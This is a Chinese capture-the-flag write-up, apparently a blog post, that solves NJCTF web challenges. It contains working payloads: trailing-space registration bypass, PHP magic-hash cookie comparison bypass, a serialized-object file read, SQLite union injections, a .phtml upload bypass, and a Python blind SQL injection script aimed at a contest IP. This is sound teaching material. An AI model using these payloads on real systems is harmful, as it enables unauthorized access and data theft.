NJCTF WEB Writeup

Login

这里写图片描述
首先创建id 登陆进去 发现要用admin登陆
这里写图片描述
首先用爆破想想不可能
其次利用注册重新注册admin
一开始想的是利用SQL注释等注册但发现不行
其次就想到长度限制&空格漏洞
这里写图片描述

'guest'= 'guest          '                 

这里写图片描述
首先绕过重名检测 ,接着设置了长度限制之后用空格漏洞注册注册admin
这里写图片描述

Get Flag

随便输入试试
1.jpga
这里写图片描述
发现是cat 命令
利用ls 及 cat 命令查找flag
这里写图片描述

Text wall

首先扫描目录找到源码 .index.php.swo
这里写图片描述
发现可以读取文件,我们发现图片的存储是序列化存储
这里写图片描述
解开之后是一个数组
打印内容的时候是循环遍历打印

foreach ($a as $key => $value) {
    echo $key,$value;
}

如果$a是一个类,上面的结构回将类中的变量循环打印出来
__tostring 的触发事件是echo 类,正符合此题

<?php
Class filelist{
    public $source = '';
}
$z = new filelist();
$z->source = 'index.php';
$y = new filelist();
$y->source = $z;
echo sha1(serialize($y)).serialize($y);
?>

这里写图片描述
打开文件夹就是flag
这里写图片描述

Wallet

这一题考了很多知识点
讲一下做题思路
首先发现了源码index.php.bak
源码有加密,丢淘宝解密
得到源码

<?php
require_once("db.php");
$auth = 0;
if (isset($_COOKIE["auth"])) {  
    $auth = $_COOKIE["auth"];
    $hsh = $_COOKIE["hsh"];  
    if ($auth == $hsh) {
        $auth = 0;
    } else if (sha1((string)$hsh) == md5((string)$auth)) { // 
        $auth = 1; // 
    } else {
        $auth = 0;
    }
} else {
    $auth = 0;
    $s = $auth;
    setcookie("auth", $s);
    setcookie("hsh", sha1((string)$s));
}
if ($auth) {
    if (isset($_GET['query'])) {
        $db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
        $qstr = SQLITE3::escapeString($_GET['query']);
        $query = "SELECT amount FROM my_wallets WHERE id=$qstr";
        $result = $db->querySingle($query);
        if (!$result === NULL) {
            echo "Error - invalid query";
        } else {
            echo "Wallet contains: $result";  // 输出flag
        }
    } else {
        echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body><ml>";
    }
} else echo "Sorry, not authorized.";

?>

首先要绕过

if (isset($_COOKIE["auth"])) {  
    $auth = $_COOKIE["auth"];
    $hsh = $_COOKIE["hsh"];  
    if ($auth == $hsh) {
        $auth = 0;
    } else if (sha1((string)$hsh) == md5((string)$auth)) { // 
        $auth = 1; // 
    } else {
        $auth = 0;
    }
} else {
    $auth = 0;
    $s = $auth;
    setcookie("auth", $s);
    setcookie("hsh", sha1((string)$s));
}

利用php弱类型比较

$hsh = 'aaroZmOk'
$auth = 'QNKCDZO'

登进admin
这里写图片描述
接下来就是简单的sqlite 注入
猜测为 id字段 flag表 当然也可以利用查表得到

1 union select group_concat(tbl_name) from sqlite_master limit 1,1-- 暴表
1 union select sql from sqlite_master where tbl_name="flag" and type="table" limit 1,1-- 爆字段
1 union select group_concat(id) from flag limit 1,1--暴内容

这里写图片描述

pictures‘ wall

一道上传题,上传类的题目做得也不少了,都是一个套路。
看看这题
首先找到上传窗口,根据题目提示利用host:127.0.0.1登录成功找到上传界面
这里写图片描述
我们在上传时改包
这里写图片描述
上传成功,试了.php345 .inc .phtml .phpt .phps 最后.phtml可以解析,其他的都不行
这里写图片描述
这里写图片描述

print_r(scandir(“/opt/lampp/htdocs”)); 
echo exec('pwd');//查看当前文件路径
print_r(scandir('../../'))

Be admin

有时候看见密码的题目都不想做,太麻烦
利用SQLmap跑了一遍跑出了用户名及密码加密过后的值

[1 entry]
+---------+----------+-------------------------------------------------------------------+
| isadmin | username | encrypted_pass                                                    |
+---------+----------+-------------------------------------------------------------------+
| 1       | admin    | aVZ1c2VkQnk0ZG1pbiEhIV+W2coxQmZQWMLGaWZuItWr+E26IKb1OFh4Shf/fNSQ  |
+---------+----------+-------------------------------------------------------------------+

扫描目录得到源码

<?php
error_reporting(0);
define("SECRET_KEY", "......");
define("METHOD", "aes-128-cbc");

session_start();

function get_random_token(){
    $random_token='';
    for($i=0;$i<16;$i++){
        $random_token.=chr(rand(1,255));
    }
    return $random_token;
}

function get_identity()
{
    global $defaultId;
    $j = $defaultId;
    $token = get_random_token();
    $c = openssl_encrypt($j, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("ID", base64_encode($c));
    setcookie("token", base64_encode($token));
    if ($j === 'admin') {
        $_SESSION['isadmin'] = true;
    } else $_SESSION['isadmin'] = false;

}

function test_identity()
{
    if (!isset($_COOKIE["token"]))
        return array();
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) {
            if ($u === 'admin') {
                $_SESSION['isadmin'] = true;
            } else $_SESSION['isadmin'] = false;
        } else {
            die("ERROR!");
        }
    }
}

function login($encrypted_pass, $pass)
{
    $encrypted_pass = base64_decode($encrypted_pass);
    $iv = substr($encrypted_pass, 0, 16);
    $cipher = substr($encrypted_pass, 16);
    $password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    return $password == $pass;
}



function need_login($message = NULL) {
    echo "   <!doctype html>
        <html>
        <head>
        <meta charset=\"UTF-8\">
        <title>Login</title>
        <link rel=\"stylesheet\" href=\"CSS/target.css\">
            <script src=\"https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js\"></script>
        </head>
        <body>";
    if (isset($message)) {
        echo "  <div>" . $message . "</div>\n";
    }
    echo "<form method=\"POST\" action=''>
            <div class=\"body\"></div>
                <div class=\"grad\"></div>
                    <div class=\"header\">
                        <div>Log<span>In</span></div>
                    </div>
                    <br>
                    <div class=\"login\">
                        <input type=\"text\" placeholder=\"username\" name=\"username\">
                        <input type=\"password\" placeholder=\"password\" name=\"password\">               
                        <input type=\"submit\" value=\"Login\">
                    </div>
                     <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
            </form>
        </body>
    </html>";
}

function show_homepage() {
    echo "<!doctype html>
<html>
<head><title>Login</title></head>
<body>";
    global $flag;
    printf("Hello ~~~ ctfer! ");
    if ($_SESSION["isadmin"])
        echo $flag;
    echo "<div><a href=\"logout.php\">Log out</a></div>
</body>
</html>";

}

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    $query = "SELECT username, encrypted_pass from users WHERE username='$username'";
    $res = $conn->query($query) or trigger_error($conn->error . "[$query]");
    if ($row = $res->fetch_assoc()) {
        $uname = $row['username'];
        $encrypted_pass = $row["encrypted_pass"];
    }

    if ($row && login($encrypted_pass, $password)) {
        echo "you are in!" . "</br>";
        get_identity();
        show_homepage();
    } else {
        echo "<script>alert('login failed!');</script>";
        need_login("Login Failed!");
    }

} else {
    test_identity();
    if (isset($_SESSION["id"])) {
        show_homepage();
    } else {
        need_login();
    }
}

源码到手 接下来就是代码审计 查找漏洞

Come On

这是道注入题,所以第一步找注入点
1%df' || if(1=1,1,0)%23 注意他过滤了<> or and
数据表,字段是猜出来的
1%df' || exists(select(flag)from(flag))%23
等关键字,下面就基于内容长度的盲注

import requests
string = ''
for i in range(1,33):
    for mid in range(32,127):
        url = "http://218.2.197.235:23733/index.php?key=1%df' ||  if((select(right(left((select(flag)from(flag)),{}),1)))=binary({}),1,0)%23".format(str(i),str(bin(mid)))
        s=requests.get(url=url)
        content=s.content
        length=len(content)
        #print length
        if length > 1000 :
            string+=chr(mid)
            break
    print string

这里写图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值